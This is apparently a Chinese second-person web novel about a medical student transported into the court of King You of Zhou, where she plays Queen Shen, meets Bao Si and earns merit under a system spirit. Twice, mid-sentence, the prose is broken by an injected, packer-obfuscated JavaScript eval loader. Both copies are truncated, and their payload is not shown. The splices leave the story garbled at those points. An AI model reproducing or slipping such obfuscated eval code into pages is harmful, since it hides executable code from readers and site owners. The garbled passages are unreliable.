《[东周主春秋]何时得歇头》 1. 嗯?奇怪的梦…… 『周公解梦,梦到自…… 朦胧中你感觉到了一滴奇怪的液体兀地落在了你的手背,这让你感到一阵灼痛,你皱了下眉心,怏怏地睁开了眼,随后便出神地盯着粘连在手背上已然凝固的微黄半透明物质。直到那只手开始有阵阵麻意后,你才有所反应。 你下意识地就想去扣弄掉那凸起的凝固物,但不想你的眼前突然闪过了一道青灰的影,这可给你吓了一跳,接着这影便开始往下直坠。 你本就被这一系列体验弄得很不舒坦,于是你暗自和这道影较上了劲,非要看看是什么牛鬼蛇神,你猛的一出手,正好抓握住了这道灰影。 出于自己难得惊人的反应力,你在心里得意了会,还没等得意完,突然“砰——”的声音在你的脑子里直蹿,好一会声音才消下去,你等耳鸣也跟着消失后,才完全恢复了过来。这下你被磨的完全没脾气了,为了不再摊上什么事,你打算扔了手上的玩意,可你定睛一看手上的东西却变成了一个铜制长烛台! 等等?你手上怎么举着一个长烛台!还有!这是哪?你的周边开始逐渐清晰,可并不是熟悉的场景。 你有点慌乱的打量着周边,透过不算明亮的光线,你首先注意到的是你身侧的一个男人。他的发髻由头顶的小冠固定着,他身着主色调为玄赤两色的衣裳,仔细看还会发现上衣相交的领口及腰间连接上衣下裳的大带上还有独特的纹样。此时,他正卧靠在高出地面一层、铺着软席的塌上,一手弯曲地撑着脑袋,一手从面前的矮案几上拿起爵杯,往嘴里送。 接着,你才大致看了看周边的布局,这构架!这装饰!这风格!明摆着是仿古样式的一座宫室,这一切的一切都让你忍不住的在心中吐槽“这是给我干哪来了?这还是咱美好的21世纪嘛?!” “你能算是天下的美女吗?” 原本还算寂静的宫室内唐突地传来了声响,是身侧那个古风小生——呸——,是身侧的那个男子在向你发话。 事实证明,人在无语时真的会笑,对于这个诡异又抽象的问题,你没有做声,只是看着面前这个阴郁的男子,不受控制的嘴角抽搐了两下,然后就略带心虚地低下头看着脚上的鞋履出神。 “他们把我最喜欢的宫女给杀了,说我继承了王统,先王用过的一切我都要继承下来…”坐在席子上的男子并不介意你的反应,继续自言自语地又连着说了好几句话。 “什么?王统,先王?!”你像是检索到了什么关键词,立马又抬头打量起这个男子,在心里各种猜测着。 “包括你们,要也得要,不要也得要。”,他越说情绪起伏越大,把手中的酒爵重重地摔置在了食案上,然后猛的转过头,将视线定在你身上。 看着他的眼神变得有些痴狂和兴奋,你应激的浑身起了鸡皮疙瘩,害怕的往后缩了缩,然后,随着身体本能的反应,你下意识就要往层层帷幔后的殿门处奔去。 但你没能成功,你的衣袖被猛的一拽,你摔在了软榻的边缘,可脚踝却磕到了食案的一角,又疼又麻,那种疼痛起先就像是通过神经系统直穿到了你的脑子一样,你眼泪差点都要掉下来了。 可还不等你好受一会,那个男的就倾身要凑近你,你莫名的感到非常害怕,腿发软的那种,没能爬起的你,尽力地蹬着腿,拖着自己缓慢的往后退,你身前的男子看着你的模样,像是被引起了兴致,也开始慢慢的逼近你。 倒霉,倒霉,倒霉!偏偏这时你发现自己已经退到了墙边,无路再退了。你只能强装镇定,看着贴近自己的男人,眨巴着眼睛,带着点讨好,开导着他:“你不想要就不要,不想继承也不继承,他们杀了你最喜爱的宫女,你就报复回去,我和你说,现在你可是大王呀,谁敢不听你的……” 他对你的这番掰扯置之不理,很显然他完全沉浸在了自己的小世界里了,他用手托着你的下巴,痴迷状的抚摸起了你的脸,直到对上你的眼睛后,他突然将你翻身扣在了怀里,说了句: “我要……我要把你们一个个都活活的勒死。” 骇死人哩!你感到一阵恶寒,这可不兴开玩笑啊,但对方的手已经摸至你的腰间,可不像是说假的。太可恶了!好阴暗的人!自己受挫、不如意,拿我出气做什么!你恶狠狠地盯着他,在心里咒骂了无数遍。 可凭什么啊!本来气愤的你突然又很憋屈,想到了以往一连串郁闷的小事,以及现在莫名其妙的出现在这,又要莫名其妙的为了他人情绪的发泄被人勒死…… 你才不要这样,你也不能这样,你憋回了眼眶里即将分泌出的泪液,深吸了一口气,一咬牙大力拧了把不争气的腿,疼痛让你瞬间清晰和冷静了很多。接着,没有半点犹豫的,你将头部猛的向上一顶,重击他的下颌骨。 他一只手吃痛的捂住了下巴,可另一只手仍然圈着你。 见状,你又迅速腰腿用力扭转了一下身体,然后手肘发力朝着他的肋部捣去,终于,他彻底松开了手,吃痛的捂着腹部和下巴。 这下你完全脱身了,你麻利地爬起来,同时腰间的系绳也被你重新胡乱地拴好了,接着,你越过了矮案几,回看了一眼身后,想来还是不解气的你,便又像吃了菠菜的大力水手一样,把男人身前的桌案掀翻在他的身上,这才畅快地往外奔去。可还没冲到门口,你便又被赶来的一位守臣撞上了。 “大王!岐…岐山地震了!” “快先给我拦住那个宫娥!”被称为大王的男子气急败坏的朝着那位守臣喊道。 看着眼前的情景,你肠子也悔青了,早知道刚刚就不图一时痛快了,你就差那一步就出殿门了呀!同时,你觉得也是老天在耍你,给了你点希望,又给你掐灭了,到头来自己还是逃不出去。 你已经emo到极限了,都说“落叶归根”,命中逃不出这一死,你也就认了,可你死也要死在故土,而不是人生地不熟的给你带来极大阴影的这!况且你瞧着那个阴晴不定的大王,指不定他会怎么折磨你呢!倒不如自己给自己一个痛快,虽然这个想法好像也不怎么样,有些轻贱生命,但要是能好好活着,谁不愿意活着呢? 你最终说服了自己‘就当这是一场梦,醒来就会忘了痛’,接着你抱着像剧本里誓死不屈的忠义义士一样的心态,盯准了宫室中的一根柱子,一头撞了上去。 嗡嗡——嗡 你一惊,猛的睁开眼,映入眼帘的是你暖黄色的床帘,还有床支架上缠着的荧光小亮灯,呼——看来真的是个梦,你的心情顿时高涨,缓了一会后,你从床里掏出了手机一看,7:15,你麻溜地要爬下床。 “我艹,甘语你吓我一跳。”你对床的、正挂在爬梯上的室友惊呼了一下。原来是你突然伸出来摸索爬梯的手,碰到了她的头。 “不好意思啦!”你探出头,吐着舌头对她说。 “没事没事,不过你今天竟然没赖会床唉…” “因为起来后,就没有睡意了嘛。”正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“不行,带这种基因的说法有点天马行空的,就像之前的热梗‘中药调理取向’一样。”,虽然你知道中药无法调理性取向的,会回这个还是因为你昨晚和寝室的大家聊关于自己的朋友被‘汉武帝是同性恋’气到的事,室友们一起吐槽到后面想到了之前网络上“中药治同”的略微不符药理学认知的热梗。 当然这是开玩笑、玩梗版本,正经版是大家都一致认为:这只能说明他是颜控,俊男美女都爱,或者还有一些更复杂的时代因素,毕竟自己也不是古代人。但反正如果没有考证的情况下,一棒子打死或过度上升就不对了。 你们没有为这个话题耗时太久,最终以你的朋友对此类言论拉黑和屏蔽结尾了。 接下来你又和她聊了昨晚奇怪的梦,她听了你的梦,开玩笑的说了句:“总不能是我昨天一直和你唠这件事情,然后你太共情我的气愤了,就日有所想夜有所梦,梦回汉朝取证去了吧,还有你的防身术也算有用武之地了哈。” “是不是汉朝我不知道,不过…岐山,对!梦里提到了岐山!”,关于朋友的回复你先是想到那个阴恻恻的男人而感到不吉利地在心里默默呸呸了两下,之后又赶紧凭记忆打出来这条信息。 “岐山…岐山臊子面?你是不是饿了啊?”,你的朋友这样回复着你。哎呀——她怎么老想到吃的,你扶了扶额头,“不是臊子面,是说地震什么的,不过只是个梦,算了,我也真有点饿了,待会在聊啦。”你回复完后关上了手机,抬起头一看,正好导员的会也开完了,你就和室友一起去食堂尝试新品啦。 2. 嗯?!这不是梦…… 『野马之谜』——…… “王…王后?”一个跪在你身侧的宫娥抬眸望着出神的你,怯怯地喊了几声。 “嗯?到1:30了?”你甩了甩昏晕的脑袋,眼神迷蒙的在周遭游移着,随后,像见了什么新鲜事一样,一边呵呵的傻笑着,一边用手背揉了揉眼睛。但慢慢的你笑不出来了——待你彻底清醒后,你发现刚刚周边让你陌生的事物非但没有消失,反而更清晰了。 你傻眼了,虽然想不通,但有了之前的经历,一个念头从你心里冒了出来,难不成又是陷入了什么梦魇? 可不对啊,你明明只是午休时在桌上趴了一会儿呀,闭目养神、绝对没睡着的那种。真是奇怪……嘶!总不能是被什么脏东西缠上了吧?看来下次得去庙里拜拜了,你抱紧了身子皱着眉想着。 “大王…大王一下朝还是去琼台。”就在你仍对这一切感到无措的时候,刚刚那个宫娥吞吞吐吐地又说着。 “唉,大王已经三个月没来过我们宫了”,她悄然观察着你的脸色,接着又带着点愤懑:“那位新得的美人明明连位次都还没定呢,就已经这样了……” 停停停——现在是什么情况?这信息量可不小,又是王后又是美人的,你得消化消化,你先看着身侧还在嘟囔着的小宫娥,她嘴巴张张合合的,让还没理出头绪的你无端生出一股想要捏住的躁意,但你掠过她干净尽显好气色的面庞时,你的冲动又被压制住了。 最终,你只是将自己的手轻轻覆在了她为你按揉肩颈上的手上,略重的按了按,随即摇了摇头,她便察觉到立即噤声了。 然后你又觑了一眼周边其他乌拉拉的一众人,接着迅速垂下眼眸,在酝酿了半晌后,你开始装作头疾突发的样子,用手掌抵住额角,揉按着太阳穴,眉头也紧紧蹙着,任谁都能看出这是在隐忍着不适。 你没想到都这种情况了,可还是没有宫人出声,偏你又喊不出他们的名字吩咐,你只能尴尬地咳了两下,好在,刚刚被你示意噤声的宫娥接话了:“娘娘,您可是有什么不舒服的地方?” “只是头有些疼,许是没休息好,罢了,无事,你们都先下去吧。”你感激的看了她一眼,随后刻意抬高声说着,并朝着宫人连连摆了摆手。 宫人们见状,彼此交换了个心照不宣的眼神,不敢怠慢,纷纷屏声离去,至于方才你身侧的那个宫娥则是落在了最后,离去时,她还贴心的将内殿的那层绢织帷幕拉拢了下来,好让你休憩。 现在宫室里面只剩下你了,你开始将现在的情况和昨晚的情况联系起来,什么岐山、大王、王后、美人的,你一时半会想不通,也通通懒得再想,只是一心想着得早点从这个荒诞的梦中醒来,因为你突然想到了今天下午不是公休,可不能睡过头了,那个教药用植物学的老头可严了。 于是你焦急地想着对策,突然你的脑中灵光一闪,昨天你能撞柱破梦,那现在应该也行?这样想着你就开始行动了,你立即瞧准了一根心仪的红柱。 “哎哎哎?快住手!!这样是回不去的!”就在这时,一个声音不知道从哪冒了出来。 “谁?”你被吓的左顾右盼,可偌大的宫殿内只有你一人啊。 “不用看了,”那个声音再度响起,带着点无奈,“我现在还没有实体。” “来——”你刚想唤回几个宫娥,可你却发不出半点声响,你的声音被无形的力量遏制在了喉咙里。 “你笨吗?!我的声音只有你能听到,唤他们来,谁会信你,真不愧是清澈愚蠢的大学生。”那个突如其来的声音又恨铁不成钢地吐槽道。 “谁愚蠢啊,你才愚蠢,你不仅愚蠢还故弄玄虚。”本就因莫名其妙出现在这里,而不高兴的你,心里不满地腹诽着。 “我才没有故弄玄虚,”它的声音很坦然,“你来这里自是有因果的。” “嗯?”你听着起了兴趣,倒要看它怎么自圆其说。 “听着,你死了,死在了一个熬夜的夜晚,但你命数本不该尽,所以我们给你一次复活的机会。”它顿了顿,像在给你缓冲的时间,接着才往下说:“但这是有条件的,那就是要用你所积的阴德来兑换这次重启。” 你觉得这个系统一样的东西就是在胡扯,它话中的槽点太多了。 第一,“命数不该尽”?那意思不就是它们的失误吗?“不该尽”直接复活就好了,为什么还有其他要求? 第二,复活有条件就算了,还要用什么阴德兑换重启,行,阴德兑换就兑换,可为什么给你重启到了另一个时空?同样是用阴德重生,你想着你曾熬夜刷的剧《重启人生》里可不是这样重启的。 第三,你明明只是昨晚熬夜肝了会星露谷物语,熬的有点狠,少有的熬到了两点而已,你有的室友都是往三点熬,怎么她们不用重启?而且虽然会熬夜,但你的睡眠均下来绝对是满足每天8h的,再说你一个医学生对自己身体有把握的,熬夜也有度的。 “那结果呢?我怎么没复活,还到这里来了?”你盘坐在软席上,双手插在腰间,在心里盘问它。 “呃,这个嘛……”那声音中多了份心虚,“因为我们查看了你的阴德余额,发现…不太够。” “你别不信呀,真的不够,你看,我们有阴德账单,接着它又像报菜名一样开始列举起来:“你平时捐的水滴筹,微信运动捐的步数,给爱心视频点过的赞、投过的币……”它举着你的爱心事迹,上从你在医院做志愿者曾抢救过突然倒地的医患,下到你在公交车上给老人让座,但就这样你的余额还是不够。 “……”你无语了一阵,“喂,那我的余额为什么还不够,到底差多少?” “咳咳,第一我不叫喂,我叫“抱一”,抱元守一的抱一,”它清了清嗓子,接着又郑重的强调:“额,还有,我并不会因为领悟到什么人生真谛,或者吃到什么好吃的东西,身上的衣服就会自动裂开。” “抱歉抱歉,我只是想到了看过的某本美食动画的设定而已。”你窘迫地说。随后,你又迅速恢复,切回了正题:“不过,抱一,也请不要糊弄我,请解答我的疑问。” “阴德不够主要是因为熬夜——这是你对自己生命不珍惜的表现,同时也在消耗你所积累的阴德,当然,其实最最重要的是通货膨胀,物价大涨了!”说着它在你面前调开了一个透明的面板,上面显示着你因之前熬夜以及撞柱破梦那会倒扣的阴德数,还有一个购买进度条约25%的重启机会。 “那我能不能申请分期按揭?先兑换,让我回去再说?”想尽可能直接回去的你,仍不死心地试探询问。 “抱歉,”抱一的回答毫无波澜,“我们没有此项金融服务。” “唉,一点也不先进,这服务都没有……”你低头撕着指甲边缘的死皮,最后认命摆烂接受了这个现实,“那我要怎么才能在这里积攒阴德呢?” “你嘛……会穿梭在各个时代,借助一些人的身份,要行善避祸,还要完成一些额外任务。”抱一对你如此淡定地接受这个解释有一瞬的错愕。 “所以”,你立刻抓住了关键,“我现在的身份是什么?时代呢?还有任务又是什么?” “查询这些问题需要耗费阴德兑换,您确定要兑换吗?”抱一的声音一下子变得特机械和无情。 “……”你真的很纳闷,怎么这么物质,你看着面板上那点可怜的余额和高昂的“物价”,你还想早点回去,这么正正负负扣下去,何时阴德才能攒够?对,你承认自己就是一个缺乏远见的人,你暂时不会乱花一个子儿,打算先凭自己摸索。 “好啦好啦,”许是你沉默太久,抱一的语气软了下来,“最后一个问题能说,这次的任务是这个,不强制完成,但奖励很丰厚。” 你点开这个名为『野马之谜』的任务,只见透明木板上浮出了一段字: “都说她是那匹野马变的,所以从来不会笑,这难到是真的吗?请让她笑出来。” “???啥任务啊,这么抽象,这样我真的还能回去吗?”心里原就万分不情愿的你,这下彻底瘫倒在了软席上,放弃了思考。 “别啊,别放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“!咳咳——”什么,褒姒?!那现在是东周,那旁边这个就是烽火戏诸侯的周幽王?你顿时感觉到了一阵晕厥感,控制不住地往后踉跄了几步,还好旁边的宫娥扶住了你。 “王后你怎么了?”见你神色有异,周幽王询问着,便要向前。 “无事!大王不必劳神,只是咳疾发了。”你的头本能地偏了过去,手立刻拦在了胸前摇动了两下,以此来阻断幽王的接近,毕竟先前的事给你带了不小的创伤,对他的接近,你还要适应一番。 于是你顺势以此为借口,你向他伏了伏身,同时朝着他身后的褒姒友善地笑了笑,之后就随着宫人们,逃离回了自己的宫中。 在回去的路上,欠揍的抱一又冒出来了:“啧,又是头疾又是咳疾的真有你的。” 你可觉得这不好笑,甚至还有点愤懑,但你忍了下来,赶紧追问它:“这到底怎么回事!” 在抱一的解释下,你才大致明白,所谓的“各个时空”其实是和历史有某种关联的平行时空。然后这些时空是它们创造的,和真正的历史走向无关。 “还有,我刚刚可不是莫名其妙消失,我是在加载中,不信你看。” 接着你的面前出现了透明板块,边缘还有一个跳跃的Q版小人,正是抱一的形象,它开始给你讲解起了板块界面的相关内容、分区和功能。 “目前基本情况就是这样啦,还有部分功能现在还没解锁,以后再说吧。”抱一说完了。你也顺手打开了『人物图鉴』面板。 『目前已解锁人物』 1.周幽王:西周第十二任君主,姬姓,名宫湦,周宣王姬静之子,母姜后,妻申后(现))【其他信息待解锁】 2.褒姒:褒珦之子洪德为救困在狱中的父亲,献给周幽王的美人【其他信息待解锁】 3.宫娥1:小芷,申后的近身宫娥之一 …… 目光扫过面板上显示的这几个人名,你才真的有了实感,是周幽王和褒姒,完啦!不,也没完,毕竟你只需要行善积德,并没有什么要冒着生命的事要做。这样看,前景似乎也不算坏? 你舒了口气,抚了抚心口,打算能躺平就躺平,积德就从身边的小事做起吧。 3. 天降美事?飞来横祸! 无法入睡的深夜,你蜷在矮床上,指尖来回地按揉着手腕内侧的神门穴,脚腕也在轻轻转动,试图引动体内滞涩的气向下行,好催生出一点可怜的睡意。 可这些方法迟迟不生效,都没能让你切实地睡着,你索性就睁开眼,对着满室的一片漆黑,发了会愣,接着又随手一挥唤出了那片只有你能看见的面板。 望着那进展几乎没变的阴德值,你胸口开始发闷,忍不住叹了口气。你来这也有小一个月了,能做的,你自问都做了,像是仿现代启动了“饮水一盅”公益活动,于宫中多处设下供水点,给与往来宫人一丝便利和关怀;发动“惜食有食”宫秩,若每日各宫仍有余粮,便派人“搜拢”,分赐下人、喂食禽畜,如晒干饲鸟;甚至你都响应“灵活就业”口号成“物业”了,每日在各宫之间徘徊流连,哪处砖松动、哪处瓦破损,可以说十有八九都是你首发现并遣人修缮的。 但由于身份限制,在这大大的“方寸之地”,你无法大展身手,善事更是少得零星可怜,你每天生怕漏掉机会似的嗅闻它们的气息,可没办法,有的东西就是你越刻意追寻,越求而不得。 善事难遇到就算了,偏小气的抱一对你做成的善事,所判予的阴德值又是那样微少得让人心灰。 唉!你虽也知道自己做的许多事都是微小且重复的,可难到没听过“勿以善小而不为”这个理吗?为什么你的阴德值加成这么低!尤其是和高涨的物价比起来。 你越想越郁闷,竟用食指死死砥住面板,好似长按真能助力加速似的,但这当然是不可能的。你烦躁地向下瞥了一眼,瞧见了右下角蜷成一团、呼呼大睡的抱一——准确来说只是进入待机休眠状态的抱一。你心头那点无处发泄的情绪顿时找到了出口,伸手就连戳了它好几下,还明知故问:“抱一,抱一,你睡着了没?反正我是睡不着。” “做什么呢你?小心晚上不睡觉,白天醒不了!”被你戳醒的抱一也不恼,只是揉了揉眼睛。 “我也不想这样,可我一想到某些事,就半点睡意都没了。”你侧翻过身,恳求地说,“就是说,有没有什么……效率更高的方法?” “那还用说吗?行大善,做大事!”说到这个抱一立刻眼睛一亮,连形象都“唰”地切换成一个戴着笠帽、配着长剑、嘴里叼着草叶的酷侠模样。 “…是我不想吗?是我没有那样的机遇呀。”你沉默了一瞬,无奈地摊开手,还带着一脸欲哭无泪的表情。 “你看其他小说里的女主,她们要么能逢灾年,施粥布善、济寒赈贫;要么能碰到突发瘟疫,医术无双、行医救人;再不济也能动不动就‘随地大小捡’,捡到各种受伤的贵人救治……要么就是遇着百废待兴或民不聊生的时刻,搞基建,改陋习、办义学、倡平等…通通都来一套——” 你还在掰着手指,细数着从各路剧情里看来的桥段,还想继续举例,却被抱一讪讪地打断了。 “哈…哈哈,你不要太急功近利。”它干笑了两声,接着声音不自觉地弱了下去,“嗯……好嘛,确实是你现在条件有限。不过最实在的,还是完成任务,这个加阴德最快。” “啊……那个‘野马之谜’任务?”实在不愿面对的你,用手掌“啪”地一下盖住了脸,同时身子也跟着蛄蛹着蜷缩起来。 “我要是能完成这个云里雾里的任务,早完成了呀!”你越说越觉得抱一是在存心耍你,再叠加重重事由,你心里越发不畅快,也就不在意抱一接下来的话。你只是一味地用指尖来回拖拽、抛动着它,像是在发泄又像是在走神。 抱一倒也不生气,任由自己像桌宠一样被戳来点去,直到你折腾累了,睡意终于漫上来,它才逃过了你的魔爪。 尽管昨夜的你是带着点怨气的,可次日,你还是重振精神,抱着“积土成山,积水成渊”的觉悟,不放弃任何机会,在王宫中闲逛,意图“寻善”,寻着寻着,你就被花圃中一簇簇开得正盛的花吸引,鬼使神差走到了琼台。 行至琼台附近,你发现一群宫人正在肆意采弄,看着这些分明开得很好的花,却被如此折的不成样子,你不禁连摇头,暗叹着。 叹息方落,你心头忽地一亮——这不正是积德的好机会?你整了整神色,随后就要迈上前去制止,殊不知因你刚刚那番自凹人设的调整,这难得的机遇就被他人夺去了。 几名内殿的宫人疾步而出,抢先拦住了采花的众人:“这些花是大王栽种给我们褒娘娘,以供娘娘随时赏玩的,你们不要再随意折采了,否则小心大王怪罪下来!” 你的心脏漏了一拍,眼瞅着到手的机会没了,不过还是要顺便一提,是谁这么有胆,敢欺负到褒娘娘身上?你很好奇,但你随即收回了吃瓜的心。 因为你又灵机一动——若此时出面调和这场争执,化干戈为玉帛,岂不也算一桩善举?定也少不了些阴德。 想到这,你本攥成拳的手一松,心里又美滋滋荡漾了起来,“这一次,我要夺回属于我的一切!”莫名燃起来的你没半点犹豫地向他们走去。 “我们可是奉了东宫太子的命令,要采花供奉给正宫娘娘的,谁敢阻拦!” 你刚走到这些宫人旁,手都伸出去一半了,就听到面前领头采花的宫娥扬声呵斥了这么一句。你顿时僵在原地,脑中一片轰鸣——什么?这事怎么也能扯上你?一定是你听错了! 在你石化的间隙,宫人们纷纷向你行礼。你定睛一瞧,那领头折花的竟还是你的贴身宫娥小芷!你一阵心悸,赶忙抓住她的手,想在此时息事宁人。 “未先请示褒娘娘是我的疏忽,只因近来身体抱恙,医官说以花入馔可平肝和胃、调畅气机,这才命人来采……不想冲撞了褒妃。”你刻意忽略小芷眼中诧异的神色,温声解释。 说实在的,刚刚那话一出口,连你都要忍不住佩服自己临场发挥的能力了,竟能如此面不改色地将这种采花行径,圆成了是在遵医嘱。 周边的宫人面面相觑,对面领头的那个宫娥犹豫片刻后,终是回道:“王后娘娘恕罪。只是这些花乃大王亲赐种予褒娘娘的……请容我先去请示一番。” “有劳了。”你松心地点了点头,示意麻烦她了。 可天有不测风云,人有旦夕祸福,正当一切顺利的时候,半路却杀出个程咬金。噢!不,是杀出个姬宜臼。。。 姬宜臼——你的白送的儿子,突然不知道从哪冲了出来,大嚷着:“谁敢去!你们这群贱婢,张口闭口的褒娘娘,我偏要毁了这些花!” 宫人们吓得连声惊呼。这片骚动自然也惊动了殿内的人,只见褒姒款步迈出殿门,目光淡淡扫过满地残花。 “遭了,事情好像在朝着不可预料的地步发展。”你心头一紧,上前一把捂住姬宜臼还在瞎嚷的嘴,把他拖到了身后。” 然后你带着歉意地靠近被声响惊到的褒姒,你生疏地伸手想握住她的纤指,说些缓和的话。可她只淡淡掠了你一眼,就轻轻将手抽回,神情如静水无波。 “这……她怎么一点情绪也没有?”你怔在原地,心中本来预演的好几个应对小连招都派不上用场了。虽然这并非首要之事,但你隐隐还有点失落。 这一切被姬宜臼看在眼里。他见你示好反遭冷待,气性噌的一下冒上来了,猛窜至褒姒身前,直接上手,拉扯住褒姒的衣袖,连带拽散了她好看的发髻,接着捻着拳头便要打。 你惊呆了,这小子是不是管不住自己嘴和手脚?!你可不能眼睁睁看着他这样。你又急又气,身形一闪,挡在了两人中间想要制止。 “刀剑无眼、拳头也无眼”,随着一拳快速挥下,上腹部被重击的你疼的不由得惊呼了一声,任人听了都知道这手下的不轻。 啊啊啊!你真的生气了,你的眼里开始冒火,双手攥了又攥。你怎么遇到了这么一个“魔丸”,姬宜臼是吧?撒泼耍横看我不得给他改过来,你也回敬了他一拳,他被你打的直发蒙,当即停下了手,两眼茫然。 可这还不够,你又一把将那不知所措的便宜儿子拽了过来,强按着他的脑袋给褒姒赔罪。你还怕不解气,便又拉着褒姒 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“嗝——”他一听果然不哭了,抬起低沉的头,怔怔地对上了你的双眸,“我下次不会这样干了。”他吸了吸鼻子,含糊不清的地说着,紧接着,就又连着打起嗝来,伴随着一下下抽噎,他的鼻子还呼出了一个个鼻涕泡。 “噗嗤”你被他这模样逗笑了出来,心中的气也散了大半,然后牵着他的手回了宫。 当然,这并不代表事情就此翻篇,回到宫中,待你们情绪都平复了,你又将他拉到身前,边接过小芷手上的药给他擦拭着,边苦口婆心地和他说明事理,同时还不忘麻烦小芷再给褒姒送点药去。 “你说对不对呀?我们每个人都要为自己说的话、做的事负责。”你耐心的引导他,还用食指指节点了点他的脑袋,“不能因为你年纪小、你流泪了,大家就得让着你,你做的错事就能勾销,明白吗?” 半晌后,他一直紧抿的嘴唇动了起来:“嗯嗯……” “那今日的事,你回去后好好思过。半月之后,再交一篇检讨书给我,可好?”你自觉这并不过分,与你上学期在中国医药史选修课上,被要求一周内完成一篇千字药学总结相比,这已经很宽和了。 待他认真应下后,你找了两个宫人仔细嘱咐完,才将他送回东宫休息。终于一切都完事大吉了,你心情舒畅地为自己倒了杯水,慢慢啜饮着。 “我就说,你要关注一下姬宜臼这个孩子,之前他那番话,听着就感觉他在预谋什么。”抱一的声音毫无征兆地响了起来。 你被吓得手一抖,嗓中的水还有些呛入了鼻中。 “咳咳……需要你时不见踪影,现在就知道马后炮。”你缓过气后这么回了一句,虽然其实抱一说得并没有错,可那时你真当没从姬宜臼的话中听出些许端倪。 事情还要从先前说起。当你见到姬宫湦——那位周幽王,发现他就是当初要勒死你的人后,你便寻了个借口匆匆回宫,自那后,连着好几天你的心情都不是很好,再加之积攒阴德很是艰难,迟迟不见大进展,你发愁的间断也就多了起来。 而在此期间,你那半路得来的儿子来看过你好几回,每每见你闷闷不乐,他就缠着你问缘由,只是你也没和他多提过什么。最后,他竟盘问了你的贴身宫娥小芷,也不知究竟问出了几分前因,便跑来一脸郑重地对你说什么“他会为你出气,就算父王怪罪他。” 你当时虽不明所以,却也未多思量,如今回想起来,抱一似乎确实提醒过你,该多留意这孩子的心思……行,这不怪抱一,毕竟他提醒到位了,你叹着气,只能自认倒霉。 抱一看着你这样其实有点愧疚,可由于它的等级,目前能力有限,还有短时间未能完全与你契合等原因,他没法总出现。于是,为了让你情绪高涨些,它竟犹豫地提出可以给你一些补偿。 “行!这打总算没白挨。”你眼睛一亮,忍不住笑起来,“抱一,你这人能处!” 你点开面板,思忖了很久,一时想不到索要什么好处,于是就先打算留着,待以后再兑现这好处,没准到时候这还能成为你的救命锦囊呢! 然后你就开始复盘今天的事,顺便计划好更顺利地躺平摸鱼攒德之路。 4. 这一点也不嫡道! “我是嫡长子,长子+嫡子,到哪都不会低人一等。发卖家族里的庶人类是我权柄所在。我不能败,也不可能败,我是家里的顶梁柱,是整个家族的希望,族谱必将为我单开一页,这就是嫡长子与生俱来的尊严。” 这类话谁要当真了,谁就是天下第一冤大头,“嫡子文学”真是不诚啊。 你的目光久久地落在窗边的铜铸香炉上,也不知在想什么,你的左手自然而然地撑着左脸颊,右手曲起的指节无意识地一下又一下叩击着桌面。 “唉,真是躲过了坑,又掉进了井里。”半晌后,终是没能忍住一声轻叹。 事情还得回到一个时辰前。 “又成啦!”小芷眉眼一弯,食指轻巧地划过竹简上排连成直线的圈圈,向你宣告她这局的获胜。 是的,你和小芷又结束了一局“你画圈圈我画叉叉”的游戏。小芷,今日像忽然开了窍、上了道,这游戏她是越玩越顺,后面基本都是她在赢。 “不错,真不错。”你瞧着被涂的满满当当的竹简以及她藏不住笑意的小脸,也跟着笑了起来。 笑着笑着,你又突然想到了一件差点被遗忘的事,那就是姬宜臼的小反思到今天都还没交给你,明明离你们约定的“半月之期”都已经过了三天了。 唉,你没想到他当时答应的那么认真,结果还是根本没放心上呀。 虽说他也可能只是写好忘了交付给你,但你当下的第一反应竟然是怀疑他没写,只因“事出反常必有妖”的直觉。 这些时日,姬宜臼很乖,既不似往日那般惹是生非,也无半点浮躁举动,这让你很满意。只是他未免太过安分了,说是无所图你是不信的。如今细想,这异常的乖顺,也许是他在悄无声息地降低存在感,好叫你忘了他的那篇反思。 啊,这可不行,你一定要好好纠正他这侥幸的心思。你当下便打定主意,再去寻他说道说道,顺带……好好地、耐心地,催一催那迟来的反思。主意已定,你便携了小芷,一路朝着东宫去了。 你们行至东宫门外,还未叩门,便听得里头隐约传来几声混杂的嬉笑。你心下一动,抬手止住正要叩门的小芷,随即出其不意地将那半掩的殿门推开,预备逮他个正着。 可当半掩的宫门被推开后,你发现宫内的情形与你预想的大不相同。只有三两个偷闲的宫人聚在一处,见你蓦地出现,被吓得慌忙行了个礼,就心虚地立马散开,各自装作忙碌的模样。 “摸鱼嘛,人之常情而已。”你当没看见一样,越过这些宫人,径直迈入内殿。在环视了一圈后,你还是连姬宜臼的影子都没瞧着,只看到了他书案上摊开写满字的竹简,你拿起那竹简,只见那上头原本如涂鸦符箓般的字迹,在你眼前开始一个个重构,最后变为了熟悉的简体字,你一看内容,这不正是反思书吗? 反思书既在,人却不见踪影,你亲自来寻,他亦不现身。姬宜臼在打什么小九九?正当你在心里思忖着这个问题的时候,小芷轻轻扯了扯你的衣袖。 “太子……前几日就被大王遣去申国了。”这是她方才从那几个宫人口中问来的。 姬宜臼在几天前就被送出了宫,听说还是连夜驾车,匆匆离去的。。。 这是做什么?你一时有些惘然,若是因为冲撞褒姒的事,那也不对,因为当时姬宫湦是怎么说的来着?对!他大致说的是“你因褒妃未曾来朝见你,心怀怨怼,故而指使宫人采花挑衅。太子年幼,不过受你撺掇。” 好一个“父慈子爱”,只是可怜了没有机会辩解的你,就这么替姬宜臼背了大黑锅,被禁足了半月。至于姬宜臼,除了欠你的那篇反思,在明面上并未受到任何惩罚。 可怎么现在突然变卦了?你想了半天CPU都快干烧了也没搞懂。算了,这件事好像也没那么要紧。 “哎呀,放心申侯是自己人,姬宜臼的外公,肯定不会苛刻他的。”抱一看着一言不发的你,还当你是在担心姬宜臼,便宽慰道。 “倒不是担心这个,”你仰头望天,语气里带点不着调的向往,“只是我在想,要是罚去申国的是我,禁足的是姬宜臼就好了。” “……这有什么大区别吗?”抱一的声音里透着不解。 “当然有区别了!”你开始头头是道地分析,“你想呀,反正都是要罚的,但要换成我去了申国,就等于开启了新地图,而且在申侯底下,再怎么样也会更自 